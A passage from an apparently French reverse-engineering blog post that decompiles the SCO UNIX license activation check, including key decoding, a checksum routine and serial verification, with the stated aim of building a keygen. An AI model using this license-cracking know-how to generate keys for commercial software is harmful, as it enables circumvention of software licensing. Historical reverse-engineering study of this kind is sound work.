&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;acc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;acc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;acc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;acc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;acc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Cette "activation key" déchiffrée va être ensuite concaténée au "serial number"
dans la fonction main, puis le buffer résultant sera transmis en paramètre de
la fonction "compare_checksum", que nous allons examiner.&lt;/p&gt;
&lt;p&gt;Cette fonction recopie la chaîne dans un buffer local, avant d'invoquer une
fonction &lt;code&gt;checksum&lt;/code&gt;, qui fait ceci:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ushort&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chksm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;roundz&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;loopvar&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;chksm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;loopvar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;roundz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;loopvar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;chksm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chksm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;short&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;chksm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ushort&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="n"&gt;chksm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chksm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;roundz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;chksm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ushort&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="n"&gt;chksm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chksm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;roundz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;roundz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;chksum_buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;chksm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;chksm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chksm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;chksum_buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chksum_buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Puis, la fonction va comparer les deux derniers caractères de notre entrée
avec le buffer retourné par &lt;code&gt;checksum&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local_buf&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;local_buf_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;local_buf_len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;iVar1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serialno_ak&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serialno_ak&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;local_buf_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iVar1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;local_buf_len&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;local_buf_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;local_buf_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ces algorithmes proviennent directement du mécanisme de vérification de licence
de XENIX, l'ancêtre de SCO UNIX (qui n'est globalement qu'un XENIX amélioré et
dont SCO a obtenu les droits pour l'appeler "UNIX"). Cependant, la méthode pour
keygen notre Saint Graal, diffère de celle de XENIX (pour les curieux, regarder
&lt;a href="https://github.com/Octocontrabass/brandy"&gt;par ici&lt;/a&gt; peut être cool).&lt;/p&gt;
&lt;p&gt;Sans plus attendre, passons aux choses sérieuses.&lt;/p&gt;
&lt;h1&gt;Cryptobat, qui peut te battre !&lt;/h1&gt;
&lt;p&gt;Maintenant qu'on a réussi à décoder notre "activation key", il faut comprendre
comment elle est utilisée dans le processus de vérification/licensing de SCO
UNIX (parce que là, n'importe quel couple serial number/activation key avec un
checksum valide devrait permettre l'installation, sauf que ce n'est évidemment
pas le cas :þ)&lt;/p&gt;
&lt;p&gt;Dans notre fonction &lt;code&gt;main&lt;/code&gt;, peu après la cuisine vue précédemment, on remarque
ce bout de code qui a l'air fort intéressant:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_flag_b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;strncpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;serialno_ak&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;strcat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Tb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;dec_serial&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;get_decrypted_bundle_serial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;bundlelist&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dec_serial&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check_function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serialno_ak&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;dec_serial&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
